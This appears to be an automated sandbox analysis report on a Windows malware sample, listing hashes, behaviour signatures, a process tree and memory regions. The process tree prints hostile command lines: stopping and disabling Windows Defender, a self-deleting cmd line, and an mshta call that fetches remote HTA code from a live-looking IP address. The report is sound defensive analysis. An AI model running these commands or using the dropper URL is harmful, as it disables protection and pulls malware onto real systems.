Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/09/2024, 21:59

General

  • Target

    db4ace64bd68a5dd2216f8ca434fca9a_JaffaCakes118.exe

  • Size

    2.4MB

  • MD5

    db4ace64bd68a5dd2216f8ca434fca9a

  • SHA1

    ce2d845d9b18146d0421a7dc8287222f36ce1b97

  • SHA256

    ae6d422ad843f1cc62787469aa16677c15d47f6cd4a2f8632bbba415e580859f

  • SHA512

    8f5d5dec82ebdf23724577b2703ed1cf2689c3e5f758434b93ede7eabc3468a50259bcb337c8d7483f1bcfd86394b28bc9fcfa80e67a97f3846c8f379d05b873

  • SSDEEP

    49152:iQfN3JxzrjFhdn1MD7NT/LKTIijR3XDCmkoNGLc7pPwu3TXn:iQ3xrnp6aTIOGmko8Lc7pfjn

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=DSEYXUOD&2=i-s&3=72&4=9200&5=6&6=2&7=919041&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 12 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\db4ace64bd68a5dd2216f8ca434fca9a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\db4ace64bd68a5dd2216f8ca434fca9a_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4556
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2448
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1824
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2556
    • C:\Users\Admin\AppData\Roaming\xxomgr.exe
      C:\Users\Admin\AppData\Roaming\xxomgr.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1072
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2632
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2972
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1236
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4884
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4928
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=DSEYXUOD&2=i-s&3=72&4=9200&5=6&6=2&7=919041&8=1033"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        PID:4444
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\DB4ACE~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3916

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\xxomgr.exe

    Filesize

    2.4MB

    MD5

    db4ace64bd68a5dd2216f8ca434fca9a

    SHA1

    ce2d845d9b18146d0421a7dc8287222f36ce1b97

    SHA256

    ae6d422ad843f1cc62787469aa16677c15d47f6cd4a2f8632bbba415e580859f

    SHA512

    8f5d5dec82ebdf23724577b2703ed1cf2689c3e5f758434b93ede7eabc3468a50259bcb337c8d7483f1bcfd86394b28bc9fcfa80e67a97f3846c8f379d05b873

  • memory/1072-61-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB

  • memory/3124-0-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB

  • memory/3124-1-0x0000000000EB0000-0x0000000000F0A000-memory.dmp

    Filesize

    360KB

  • memory/3124-4-0x0000000000E70000-0x0000000000E71000-memory.dmp

    Filesize

    4KB

  • memory/3124-9-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-8-0x0000000002810000-0x0000000002811000-memory.dmp

    Filesize

    4KB

  • memory/3124-7-0x00000000027F0000-0x00000000027F1000-memory.dmp

    Filesize

    4KB

  • memory/3124-6-0x0000000002800000-0x0000000002801000-memory.dmp

    Filesize

    4KB

  • memory/3124-5-0x00000000027C0000-0x00000000027C1000-memory.dmp

    Filesize

    4KB

  • memory/3124-3-0x0000000000E80000-0x0000000000E81000-memory.dmp

    Filesize

    4KB

  • memory/3124-2-0x0000000000E90000-0x0000000000E91000-memory.dmp

    Filesize

    4KB

  • memory/3124-10-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-11-0x00000000027D0000-0x00000000027D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-19-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-18-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-17-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-16-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-15-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-14-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-13-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-12-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-22-0x0000000002830000-0x0000000002831000-memory.dmp

    Filesize

    4KB

  • memory/3124-35-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB

  • memory/3124-34-0x00000000028B0000-0x00000000028B1000-memory.dmp

    Filesize

    4KB

  • memory/3124-39-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-38-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-37-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-36-0x0000000000EB0000-0x0000000000F0A000-memory.dmp

    Filesize

    360KB

  • memory/3124-33-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-32-0x0000000002950000-0x0000000002951000-memory.dmp

    Filesize

    4KB

  • memory/3124-31-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-30-0x0000000002940000-0x0000000002941000-memory.dmp

    Filesize

    4KB

  • memory/3124-29-0x0000000002900000-0x0000000002901000-memory.dmp

    Filesize

    4KB

  • memory/3124-28-0x0000000002910000-0x0000000002911000-memory.dmp

    Filesize

    4KB

  • memory/3124-27-0x0000000002920000-0x0000000002921000-memory.dmp

    Filesize

    4KB

  • memory/3124-26-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-25-0x00000000028E0000-0x00000000028E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-24-0x0000000002870000-0x0000000002871000-memory.dmp

    Filesize

    4KB

  • memory/3124-23-0x00000000028C0000-0x00000000028C1000-memory.dmp

    Filesize

    4KB

  • memory/3124-21-0x0000000002840000-0x0000000002841000-memory.dmp

    Filesize

    4KB

  • memory/3124-20-0x0000000002850000-0x0000000002851000-memory.dmp

    Filesize

    4KB

  • memory/3124-48-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-47-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-46-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-45-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-44-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-43-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-42-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-41-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3124-40-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-49-0x00000000036C0000-0x00000000036C2000-memory.dmp

    Filesize

    8KB

  • memory/3124-52-0x0000000000E60000-0x0000000000E61000-memory.dmp

    Filesize

    4KB

  • memory/3124-51-0x0000000000E50000-0x0000000000E51000-memory.dmp

    Filesize

    4KB

  • memory/3124-50-0x00000000036D0000-0x00000000036D1000-memory.dmp

    Filesize

    4KB

  • memory/3124-58-0x0000000000EB0000-0x0000000000F0A000-memory.dmp

    Filesize

    360KB

  • memory/3124-59-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB